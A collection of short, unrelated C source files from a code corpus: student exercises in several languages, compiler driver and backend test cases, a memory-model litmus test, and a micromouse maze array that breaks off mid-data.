// このコードは関数func()内でmallocを使い // ヒープ領域に確保したメモリ領域のアドレスを返すため、 // 関数を抜けた後でもにアクセス可能: OK #include <stdio.h> #include <stdlib.h> int *func(int n) { int *a = (int*)malloc(n * sizeof(int)); // 実際は a に正しく領域が確保されたか確認する必要があるが // ここでは一旦省略 for (int i = 0 ; i < n ; i++){ a[i] = i+1; } return a; } int main() { int *b = func(3); printf("%d\n",b[0]); printf("%d\n",b[1]); printf("%d\n",b[2]); return 0; }
the_stack_data/196953.c
/* { dg-do run } */ /* { dg-options "-O3 -march=z10 -mzarch --save-temps -mfunction-return-mem=thunk -mindirect-branch-table" } */ int gl = 0; int __attribute__((noinline,noclone)) bar (int a) { return a + 2; } void __attribute__((noinline,noclone)) foo (int a) { int i; if (a == 42) return; for (i = 0; i < a; i++) gl += bar (i); } int main () { foo (3); if (gl != 9) __builtin_abort (); return 0; } /* With -march=z10 -mzarch the shrink wrapped returns use compare and swap relative to jump to the exit block instead of making use of the conditional return pattern. FIXME: Use compare and branch register for that!!!! */ /* 2 x foo, 1 x main /* { dg-final { scan-assembler-times "jg\t__s390_indirect_jump" 3 } } */ /* { dg-final { scan-assembler "exrl" } } */ /* { dg-final { scan-assembler-not "section\t.s390_indirect_jump" } } */ /* { dg-final { scan-assembler-not "section\t.s390_indirect_call" } } */ /* { dg-final { scan-assembler-not "section\t.s390_return_reg" } } */ /* { dg-final { scan-assembler "section\t.s390_return_mem" } } */
the_stack_data/95450119.c
//specifica 3 C99 /* 1.Dichiarare una variabile v di tipo unsigned char (assumendo che le variabili di tale tipo abbiano 8 bit) e inizializzarla con una costante esadecimale 2.Scrivere un'istruzione che modifica v, ponendo a 0 il contenuto dei bit di posizione 0, 4, 7 */ #include <stdio.h> int main(void){ unsigned char v = 0x12; // binary: 0001 0010 v = v & 0xB6; // binary: 1011 0110 // hex: 0xB6 printf("%lx\n", v); // binary result: 0001 0010 // hex result: 0x12 system("pause"); } // GIUSTO!!
the_stack_data/1146148.c
#include <stdio.h> #include <stdlib.h> #include <locale.h> int main() { setlocale(LC_ALL,"portuguese"); printf("\t- MATRIZ -\n\n"); int a[4][4]; int b[4][4]; for(int i=0;i<4;i++) for(int j=0;j<4;j++) a[i][j] = 0; for(int i=0;i<4;i++) a[i][1]=1; for(int i=0;i<4;i++) a[i][i]=0; for(int i=0;i<4;i++) for(int j=0;j<4;j++) b[i][j] = a[i][j]*2; printf("Matriz A:\n"); for(int i=0;i<4;i++){ for(int j=0;j<4;j++) printf("%i ",a[i][j]); printf("\n"); } printf("\n\n"); printf("Matriz B:\n"); for(int i=0;i<4;i++){ for(int j=0;j<4;j++) printf("%i ",b[i][j]); printf("\n"); } return 0; }
the_stack_data/247018597.c
#include <stdio.h> int add(int n1, int n2) { return n1 + n2; } int sub (int n1, int n2) { return n1 - n2; } int main(void) { int (*fnc)(int, int); // function type pointer variable declearation int n1 = 10, n2 = 5; fnc = &add; printf("Result : %d\n", fnc(n1, n2)); fnc = &sub; printf("Result : %d\n", fnc(n1, n2)); return 0; }
the_stack_data/76700856.c
void fence() { asm("sync"); } void lwfence() { asm("lwsync"); } void isync() { asm("isync"); } int __unbuffered_cnt=0; int __unbuffered_p0_r1=0; int __unbuffered_p0_r3=0; int __unbuffered_p1_r1=0; int __unbuffered_p1_r3=0; int __unbuffered_p2_r1=0; int __unbuffered_p2_r3=0; int x=0; int y=0; void * P0(void * arg) { __unbuffered_p0_r1 = 2; y = __unbuffered_p0_r1; fence(); __unbuffered_p0_r3 = 1; x = __unbuffered_p0_r3; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void * P1(void * arg) { __unbuffered_p1_r1 = 2; x = __unbuffered_p1_r1; fence(); __unbuffered_p1_r3 = 1; y = __unbuffered_p1_r3; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void * P2(void * arg) { __unbuffered_p2_r1 = y; lwfence(); __unbuffered_p2_r3 = y; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } int main() { __CPROVER_ASYNC_0: P0(0); __CPROVER_ASYNC_1: P1(0); __CPROVER_ASYNC_2: P2(0); __CPROVER_assume(__unbuffered_cnt==3); fence(); // EXPECT:exists __CPROVER_assert(!(x==2 && y==2 && __unbuffered_p2_r1==1 && __unbuffered_p2_r3==1), "Program proven to be relaxed for PPC, model checker says YES."); return 0; }
the_stack_data/95451291.c
// RUN: %clang -target i386-unknown-unknown -### -S -O0 -Os %s -o %t.s -fverbose-asm -funwind-tables -fvisibility=hidden 2>&1 | FileCheck -check-prefix=I386 %s // I386: "-triple" "i386-unknown-unknown" // I386: "-S" // I386: "-disable-free" // I386: "-mrelocation-model" "static" // I386: "-mframe-pointer=all" // I386: "-masm-verbose" // I386: "-munwind-tables" // I386: "-Os" // I386: "-fvisibility" // I386: "hidden" // I386: "-o" // I386: clang-translation // RUN: %clang -target i386-apple-darwin9 -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=YONAH %s // RUN: %clang -target i386-apple-macosx10.11 -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=YONAH %s // YONAH: "-target-cpu" // YONAH: "yonah" // RUN: %clang -target x86_64-apple-darwin9 -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=CORE2 %s // RUN: %clang -target x86_64-apple-macosx10.11 -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=CORE2 %s // CORE2: "-target-cpu" // CORE2: "core2" // RUN: %clang -target x86_64h-apple-darwin -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=AVX2 %s // RUN: %clang -target x86_64h-apple-macosx10.12 -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=AVX2 %s // AVX2: "-target-cpu" // AVX2: "core-avx2" // RUN: %clang -target x86_64h-apple-darwin -march=skx -### %s -o /dev/null 2>&1 | \ // RUN: FileCheck -check-prefix=X8664HSKX %s // X8664HSKX: "-target-cpu" // X8664HSKX: "skx" // RUN: %clang -target i386-apple-macosx10.12 -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=PENRYN %s // RUN: %clang -target x86_64-apple-macosx10.12 -### -S %s -o %t.s 2>&1 | \ // RUN: FileCheck -check-prefix=PENRYN %s // PENRYN: "-target-cpu" // PENRYN: "penryn" // RUN: %clang -target x86_64-apple-darwin10 -### -S %s -arch armv7 2>&1 | \ // RUN: FileCheck -check-prefix=ARMV7_DEFAULT %s // ARMV7_DEFAULT: clang // ARMV7_DEFAULT: "-cc1" // ARMV7_DEFAULT-NOT: "-msoft-float" // ARMV7_DEFAULT: "-mfloat-abi" "soft" // ARMV7_DEFAULT-NOT: "-msoft-float" // ARMV7_DEFAULT: "-x" "c" // RUN: %clang -target x86_64-apple-darwin10 -### -S %s -arch armv7 \ // RUN: -msoft-float 2>&1 | FileCheck -check-prefix=ARMV7_SOFTFLOAT %s // ARMV7_SOFTFLOAT: clang // ARMV7_SOFTFLOAT: "-cc1" // ARMV7_SOFTFLOAT: "-target-feature" // ARMV7_SOFTFLOAT: "-neon" // ARMV7_SOFTFLOAT: "-msoft-float" // ARMV7_SOFTFLOAT: "-mfloat-abi" "soft" // ARMV7_SOFTFLOAT: "-x" "c" // RUN: %clang -target x86_64-apple-darwin10 -### -S %s -arch armv7 \ // RUN: -mhard-float 2>&1 | FileCheck -check-prefix=ARMV7_HARDFLOAT %s // ARMV7_HARDFLOAT: clang // ARMV7_HARDFLOAT: "-cc1" // ARMV7_HARDFLOAT-NOT: "-msoft-float" // ARMV7_HARDFLOAT: "-mfloat-abi" "hard" // ARMV7_HARDFLOAT-NOT: "-msoft-float" // ARMV7_HARDFLOAT: "-x" "c" // RUN: %clang -target arm64-apple-ios10 -### -S %s -arch arm64 2>&1 | \ // RUN: FileCheck -check-prefix=ARM64-APPLE %s // ARM64-APPLE: -munwind-table // RUN: %clang -target arm64-apple-ios10 -### -ffreestanding -S %s -arch arm64 2>&1 | \ // RUN: FileCheck -check-prefix=ARM64-FREESTANDING-APPLE %s // // RUN: %clang -target arm64-apple-ios10 -### -fno-unwind-tables -ffreestanding -S %s -arch arm64 2>&1 | \ // RUN: FileCheck -check-prefix=ARM64-FREESTANDING-APPLE %s // // ARM64-FREESTANDING-APPLE-NOT: -munwind-table // RUN: %clang -target arm64-apple-ios10 -### -funwind-tables -S %s -arch arm64 2>&1 | \ // RUN: FileCheck -check-prefix=ARM64-EXPLICIT-UWTABLE-APPLE %s // // RUN: %clang -target arm64-apple-ios10 -### -ffreestanding -funwind-tables -S %s -arch arm64 2>&1 | \ // RUN: FileCheck -check-prefix=ARM64-EXPLICIT-UWTABLE-APPLE %s // // ARM64-EXPLICIT-UWTABLE-APPLE: -munwind-table // RUN: %clang -target arm64-apple-ios10 -fno-exceptions -### -S %s -arch arm64 2>&1 | \ // RUN: FileCheck -check-prefix=ARM64-APPLE-EXCEP %s // ARM64-APPLE-EXCEP-NOT: -munwind-table // RUN: %clang -target armv7k-apple-watchos4.0 -### -S %s -arch armv7k 2>&1 | \ // RUN: FileCheck -check-prefix=ARMV7K-APPLE %s // ARMV7K-APPLE: -munwind-table // RUN: %clang -target arm-linux -### -S %s -march=armv5e 2>&1 | \ // RUN: FileCheck -check-prefix=ARMV5E %s // ARMV5E: clang // ARMV5E: "-cc1" // ARMV5E: "-target-cpu" "arm1022e" // RUN: %clang -target arm-linux -mtp=cp15 -### -S %s -arch armv7 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv7_THREAD_POINTER-HARD %s // ARMv7_THREAD_POINTER-HARD: "-target-feature" "+read-tp-hard" // RUN: %clang -target arm-linux -mtp=soft -### -S %s -arch armv7 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv7_THREAD_POINTER_SOFT %s // ARMv7_THREAD_POINTER_SOFT-NOT: "-target-feature" "+read-tp-hard" // RUN: %clang -target arm-linux -### -S %s -arch armv7 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv7_THREAD_POINTER_NON %s // ARMv7_THREAD_POINTER_NON-NOT: "-target-feature" "+read-tp-hard" // RUN: %clang -target aarch64-linux -### -S %s -arch armv8a 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv8_THREAD_POINTER_NON %s // ARMv8_THREAD_POINTER_NON-NOT: "-target-feature" "+tpidr-el1" // ARMv8_THREAD_POINTER_NON-NOT: "-target-feature" "+tpidr-el2" // ARMv8_THREAD_POINTER_NON-NOT: "-target-feature" "+tpidr-el3" // RUN: %clang -target aarch64-linux -### -S %s -arch armv8a -mtp=el0 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv8_THREAD_POINTER_EL0 %s // ARMv8_THREAD_POINTER_EL0-NOT: "-target-feature" "+tpidr-el1" // ARMv8_THREAD_POINTER_EL0-NOT: "-target-feature" "+tpidr-el2" // ARMv8_THREAD_POINTER_EL0-NOT: "-target-feature" "+tpidr-el3" // RUN: %clang -target aarch64-linux -### -S %s -arch armv8a -mtp=el1 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv8_THREAD_POINTER_EL1 %s // ARMv8_THREAD_POINTER_EL1: "-target-feature" "+tpidr-el1" // ARMv8_THREAD_POINTER_EL1-NOT: "-target-feature" "+tpidr-el2" // ARMv8_THREAD_POINTER_EL1-NOT: "-target-feature" "+tpidr-el3" // RUN: %clang -target aarch64-linux -### -S %s -arch armv8a -mtp=el2 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv8_THREAD_POINTER_EL2 %s // ARMv8_THREAD_POINTER_EL2-NOT: "-target-feature" "+tpidr-el1" // ARMv8_THREAD_POINTER_EL2: "-target-feature" "+tpidr-el2" // ARMv8_THREAD_POINTER_EL2-NOT: "-target-feature" "+tpidr-el3" // RUN: %clang -target aarch64-linux -### -S %s -arch armv8a -mtp=el3 2>&1 | \ // RUN: FileCheck -check-prefix=ARMv8_THREAD_POINTER_EL3 %s // ARMv8_THREAD_POINTER_EL3-NOT: "-target-feature" "+tpidr-el1" // ARMv8_THREAD_POINTER_EL3-NOT: "-target-feature" "+tpidr-el2" // ARMv8_THREAD_POINTER_EL3: "-target-feature" "+tpidr-el3" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=G5 2>&1 | FileCheck -check-prefix=PPCG5 %s // PPCG5: clang // PPCG5: "-cc1" // PPCG5: "-target-cpu" "g5" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power7 2>&1 | FileCheck -check-prefix=PPCPWR7 %s // PPCPWR7: clang // PPCPWR7: "-cc1" // PPCPWR7: "-target-cpu" "pwr7" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power8 2>&1 | FileCheck -check-prefix=PPCPWR8 %s // PPCPWR8: clang // PPCPWR8: "-cc1" // PPCPWR8: "-target-cpu" "pwr8" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=a2q 2>&1 | FileCheck -check-prefix=PPCA2Q %s // PPCA2Q: clang // PPCA2Q: "-cc1" // PPCA2Q: "-target-cpu" "a2q" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=630 2>&1 | FileCheck -check-prefix=PPC630 %s // PPC630: clang // PPC630: "-cc1" // PPC630: "-target-cpu" "pwr3" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power3 2>&1 | FileCheck -check-prefix=PPCPOWER3 %s // PPCPOWER3: clang // PPCPOWER3: "-cc1" // PPCPOWER3: "-target-cpu" "pwr3" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=pwr3 2>&1 | FileCheck -check-prefix=PPCPWR3 %s // PPCPWR3: clang // PPCPWR3: "-cc1" // PPCPWR3: "-target-cpu" "pwr3" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power4 2>&1 | FileCheck -check-prefix=PPCPOWER4 %s // PPCPOWER4: clang // PPCPOWER4: "-cc1" // PPCPOWER4: "-target-cpu" "pwr4" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=pwr4 2>&1 | FileCheck -check-prefix=PPCPWR4 %s // PPCPWR4: clang // PPCPWR4: "-cc1" // PPCPWR4: "-target-cpu" "pwr4" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power5 2>&1 | FileCheck -check-prefix=PPCPOWER5 %s // PPCPOWER5: clang // PPCPOWER5: "-cc1" // PPCPOWER5: "-target-cpu" "pwr5" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=pwr5 2>&1 | FileCheck -check-prefix=PPCPWR5 %s // PPCPWR5: clang // PPCPWR5: "-cc1" // PPCPWR5: "-target-cpu" "pwr5" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power5x 2>&1 | FileCheck -check-prefix=PPCPOWER5X %s // PPCPOWER5X: clang // PPCPOWER5X: "-cc1" // PPCPOWER5X: "-target-cpu" "pwr5x" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=pwr5x 2>&1 | FileCheck -check-prefix=PPCPWR5X %s // PPCPWR5X: clang // PPCPWR5X: "-cc1" // PPCPWR5X: "-target-cpu" "pwr5x" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power6 2>&1 | FileCheck -check-prefix=PPCPOWER6 %s // PPCPOWER6: clang // PPCPOWER6: "-cc1" // PPCPOWER6: "-target-cpu" "pwr6" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=pwr6 2>&1 | FileCheck -check-prefix=PPCPWR6 %s // PPCPWR6: clang // PPCPWR6: "-cc1" // PPCPWR6: "-target-cpu" "pwr6" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power6x 2>&1 | FileCheck -check-prefix=PPCPOWER6X %s // PPCPOWER6X: clang // PPCPOWER6X: "-cc1" // PPCPOWER6X: "-target-cpu" "pwr6x" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=pwr6x 2>&1 | FileCheck -check-prefix=PPCPWR6X %s // PPCPWR6X: clang // PPCPWR6X: "-cc1" // PPCPWR6X: "-target-cpu" "pwr6x" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=power7 2>&1 | FileCheck -check-prefix=PPCPOWER7 %s // PPCPOWER7: clang // PPCPOWER7: "-cc1" // PPCPOWER7: "-target-cpu" "pwr7" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=powerpc 2>&1 | FileCheck -check-prefix=PPCPOWERPC %s // PPCPOWERPC: clang // PPCPOWERPC: "-cc1" // PPCPOWERPC: "-target-cpu" "ppc" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s -mcpu=powerpc64 2>&1 | FileCheck -check-prefix=PPCPOWERPC64 %s // PPCPOWERPC64: clang // PPCPOWERPC64: "-cc1" // PPCPOWERPC64: "-target-cpu" "ppc64" // RUN: %clang -target powerpc64-unknown-linux-gnu \ // RUN: -### -S %s 2>&1 | FileCheck -check-prefix=PPC64NS %s // PPC64NS: clang // PPC64NS: "-cc1" // PPC64NS: "-target-cpu" "ppc64" // RUN: %clang -target powerpc-fsl-linux -### -S %s \ // RUN: -mcpu=e500 2>&1 | FileCheck -check-prefix=PPCE500 %s // PPCE500: clang // PPCE500: "-cc1" // PPCE500: "-target-cpu" "e500" // RUN: %clang -target powerpc-fsl-linux -### -S %s \ // RUN: -mcpu=8548 2>&1 | FileCheck -check-prefix=PPC8548 %s // PPC8548: clang // PPC8548: "-cc1" // PPC8548: "-target-cpu" "e500" // RUN: %clang -target powerpc-fsl-linux -### -S %s \ // RUN: -mcpu=e500mc 2>&1 | FileCheck -check-prefix=PPCE500MC %s // PPCE500MC: clang // PPCE500MC: "-cc1" // PPCE500MC: "-target-cpu" "e500mc" // RUN: %clang -target powerpc64-fsl-linux -### -S \ // RUN: %s -mcpu=e5500 2>&1 | FileCheck -check-prefix=PPCE5500 %s // PPCE5500: clang // PPCE5500: "-cc1" // PPCE5500: "-target-cpu" "e5500" // RUN: %clang -target amd64-unknown-openbsd5.2 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=AMD64 %s // AMD64: clang // AMD64: "-cc1" // AMD64: "-triple" // AMD64: "amd64-unknown-openbsd5.2" // AMD64: "-munwind-tables" // RUN: %clang -target amd64--mingw32 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=AMD64-MINGW %s // AMD64-MINGW: clang // AMD64-MINGW: "-cc1" // AMD64-MINGW: "-triple" // AMD64-MINGW: "amd64-unknown-windows-gnu" // AMD64-MINGW: "-munwind-tables" // RUN: %clang -target i686-linux-android -### -S %s 2>&1 \ // RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \ // RUN: | FileCheck --check-prefix=ANDROID-X86 %s // ANDROID-X86: clang // ANDROID-X86: "-target-cpu" "i686" // ANDROID-X86: "-target-feature" "+ssse3" // RUN: %clang -target x86_64-linux-android -### -S %s 2>&1 \ // RUN: --sysroot=%S/Inputs/basic_android_tree/sysroot \ // RUN: | FileCheck --check-prefix=ANDROID-X86_64 %s // ANDROID-X86_64: clang // ANDROID-X86_64: "-target-cpu" "x86-64" // ANDROID-X86_64: "-target-feature" "+sse4.2" // ANDROID-X86_64: "-target-feature" "+popcnt" // ANDROID-X86_64: "-target-feature" "+cx16" // RUN: %clang -target mips-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS %s // MIPS: clang // MIPS: "-cc1" // MIPS: "-target-cpu" "mips32r2" // MIPS: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa32r6-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSR6 %s // MIPSR6: clang // MIPSR6: "-cc1" // MIPSR6: "-target-cpu" "mips32r6" // MIPSR6: "-mfloat-abi" "hard" // RUN: %clang -target mipsel-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSEL %s // MIPSEL: clang // MIPSEL: "-cc1" // MIPSEL: "-target-cpu" "mips32r2" // MIPSEL: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa32r6el-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSR6EL %s // MIPSR6EL: clang // MIPSR6EL: "-cc1" // MIPSR6EL: "-target-cpu" "mips32r6" // MIPSR6EL: "-mfloat-abi" "hard" // RUN: %clang -target mipsel-linux-android -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSEL-ANDROID %s // MIPSEL-ANDROID: clang // MIPSEL-ANDROID: "-cc1" // MIPSEL-ANDROID: "-target-cpu" "mips32" // MIPSEL-ANDROID: "-target-feature" "+fpxx" // MIPSEL-ANDROID: "-target-feature" "+nooddspreg" // MIPSEL-ANDROID: "-mfloat-abi" "hard" // RUN: %clang -target mipsel-linux-android -### -S %s -mcpu=mips32r6 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSEL-ANDROID-R6 %s // MIPSEL-ANDROID-R6: clang // MIPSEL-ANDROID-R6: "-cc1" // MIPSEL-ANDROID-R6: "-target-cpu" "mips32r6" // MIPSEL-ANDROID-R6: "-target-feature" "+fp64" // MIPSEL-ANDROID-R6: "-target-feature" "+nooddspreg" // MIPSEL-ANDROID-R6: "-mfloat-abi" "hard" // RUN: %clang -target mips64-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64 %s // MIPS64: clang // MIPS64: "-cc1" // MIPS64: "-target-cpu" "mips64r2" // MIPS64: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa64r6-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64R6 %s // MIPS64R6: clang // MIPS64R6: "-cc1" // MIPS64R6: "-target-cpu" "mips64r6" // MIPS64R6: "-mfloat-abi" "hard" // RUN: %clang -target mips64el-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64EL %s // MIPS64EL: clang // MIPS64EL: "-cc1" // MIPS64EL: "-target-cpu" "mips64r2" // MIPS64EL: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa64r6el-linux-gnu -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64R6EL %s // MIPS64R6EL: clang // MIPS64R6EL: "-cc1" // MIPS64R6EL: "-target-cpu" "mips64r6" // MIPS64R6EL: "-mfloat-abi" "hard" // RUN: %clang -target mips64-linux-gnuabi64 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64-GNUABI64 %s // MIPS64-GNUABI64: clang // MIPS64-GNUABI64: "-cc1" // MIPS64-GNUABI64: "-target-cpu" "mips64r2" // MIPS64-GNUABI64: "-target-abi" "n64" // MIPS64-GNUABI64: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa64r6-linux-gnuabi64 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64R6-GNUABI64 %s // MIPS64R6-GNUABI64: clang // MIPS64R6-GNUABI64: "-cc1" // MIPS64R6-GNUABI64: "-target-cpu" "mips64r6" // MIPS64R6-GNUABI64: "-target-abi" "n64" // MIPS64R6-GNUABI64: "-mfloat-abi" "hard" // RUN: %clang -target mips64el-linux-gnuabi64 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64EL-GNUABI64 %s // MIPS64EL-GNUABI64: clang // MIPS64EL-GNUABI64: "-cc1" // MIPS64EL-GNUABI64: "-target-cpu" "mips64r2" // MIPS64EL-GNUABI64: "-target-abi" "n64" // MIPS64EL-GNUABI64: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa64r6el-linux-gnuabi64 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64R6EL-GNUABI64 %s // MIPS64R6EL-GNUABI64: clang // MIPS64R6EL-GNUABI64: "-cc1" // MIPS64R6EL-GNUABI64: "-target-cpu" "mips64r6" // MIPS64R6EL-GNUABI64: "-target-abi" "n64" // MIPS64R6EL-GNUABI64: "-mfloat-abi" "hard" // RUN: %clang -target mips64-linux-gnuabin32 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSN32 %s // MIPSN32: clang // MIPSN32: "-cc1" // MIPSN32: "-target-cpu" "mips64r2" // MIPSN32: "-target-abi" "n32" // MIPSN32: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa64r6-linux-gnuabin32 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSN32R6 %s // MIPSN32R6: clang // MIPSN32R6: "-cc1" // MIPSN32R6: "-target-cpu" "mips64r6" // MIPSN32R6: "-target-abi" "n32" // MIPSN32R6: "-mfloat-abi" "hard" // RUN: %clang -target mips64el-linux-gnuabin32 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSN32EL %s // MIPSN32EL: clang // MIPSN32EL: "-cc1" // MIPSN32EL: "-target-cpu" "mips64r2" // MIPSN32EL: "-target-abi" "n32" // MIPSN32EL: "-mfloat-abi" "hard" // RUN: %clang -target mipsisa64r6el-linux-gnuabin32 -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPSN32R6EL %s // MIPSN32R6EL: clang // MIPSN32R6EL: "-cc1" // MIPSN32R6EL: "-target-cpu" "mips64r6" // MIPSN32R6EL: "-target-abi" "n32" // MIPSN32R6EL: "-mfloat-abi" "hard" // RUN: %clang -target mips64el-linux-android -### -S %s 2>&1 | \ // RUN: FileCheck -check-prefix=MIPS64EL-ANDROID %s // MIPS64EL-ANDROID: clang // MIPS64EL-ANDROID: "-cc1" // MIPS64EL-ANDROID: "-target-cpu" "mips64r6" // MIPS64EL-ANDROID: "-mfloat-abi" "hard"
the_stack_data/311901.c
/* hw6_19 */ #include <stdio.h> #include <stdlib.h> int main(void) { int a=4,b=6,larger; a>b?(larger=a):(larger=b); printf("%d數值比較大。\n",larger); system("pause"); return 0; } /* 6數值比較大。 Press any key to continue . . . */
the_stack_data/30728.c
// C Program to print palindrome pyramid pattern #include <stdio.h> #include <stdlib.h> int main() { int n,i,j,k,l; printf("Enter the number of rows: "); scanf("%d",&n); for(i=1;i<=n;i++) { for(j=1;j<=(n-i);j++) printf(" "); for(k=1;k<=i;k++) printf("%d",k); for(l=i-1;l>=1;l--) printf("%d",l); printf("\n"); } }
the_stack_data/138299.c
/* text version of maze 'mazefiles/binary/us02.maz' generated by mazetool (c) Peter Harrison 2018 o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o | | | | | o o o o o---o---o---o---o---o---o---o---o---o---o---o o | | | | | o o o o o o---o---o---o---o---o---o---o---o---o---o o | | | | | | | o---o o o o o---o---o---o o o---o---o---o---o o o | | | | | | | | o o---o o o o o---o---o o---o o---o---o---o o o | | | | | | | | o o---o---o o o o---o o---o o---o---o---o o o o | | | | | | | | | o o---o---o---o o o o---o---o---o o---o---o---o o o | | | | | | | | o o o---o---o---o o o---o o o---o---o---o o o o | | | | | | | | o o o---o---o---o---o---o o o o---o---o---o---o---o---o | | | | | | | o o o o---o---o o o---o---o o o---o o---o o o | | | | | | | o o---o---o---o o o o---o---o---o---o o o---o o o | | | | | | | o o---o---o o o o---o---o---o---o---o---o---o---o o o | | | | | | o o---o o o o o o---o---o---o---o---o---o---o---o o | | | | | | | | o---o o o o o o---o---o---o---o---o---o---o---o o o | | | | | | o o o o o o---o---o---o---o---o---o---o---o---o---o---o | | | | | o o o o o---o---o---o---o---o---o---o---o---o---o---o o | | | | | o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o */ int us02_maz[] ={ 0x0E, 0x0A, 0x09, 0x0C, 0x08, 0x08, 0x0A, 0x0A, 0x0A, 0x0A, 0x08, 0x08, 0x09, 0x0C, 0x0A, 0x0B, 0x0E, 0x0A, 0x00, 0x03, 0x05, 0x05, 0x0C, 0x0A, 0x08, 0x09, 0x05, 0x05, 0x06, 0x00, 0x0A, 0x0B, 0x0E, 0x08, 0x02, 0x0A, 0x03, 0x05, 0x04, 0x09, 0x05, 0x05, 0x05, 0x06, 0x0A, 0x02, 0x08, 0x0B, 0x0C, 0x02, 0x0A, 0x0A, 0x0A, 0x03, 0x05, 0x05, 0x05, 0x05, 0x06, 0x0A, 0x0A, 0x0A, 0x02, 0x09, 0x05, 0x0C, 0x0A, 0x0A, 0x0A, 0x0A, 0x03, 0x05, 0x05, 0x06, 0x0A, 0x0A, 0x0A, 0x0A, 0x09, 0x05, 0x05, 0x05, 0x0C, 0x0A, 0x0A, 0x0A, 0x0A, 0x03, 0x06, 0x08, 0x0A, 0x08, 0x09, 0x0D, 0x05, 0x05, 0x05, 0x05, 0x05, 0x0C, 0x09, 0x0C, 0x08, 0x0B, 0x0E, 0x00, 0x09, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x0C, 0x09, 0x07, 0x04, 0x01, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x06, 0x02, 0x09, 0x07, 0x04, 0x00, 0x03, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x06, 0x08, 0x08, 0x03, 0x0E, 0x03, 0x06, 0x09, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x0C, 0x01, 0x05, 0x0C, 0x09, 0x0C, 0x09, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x06, 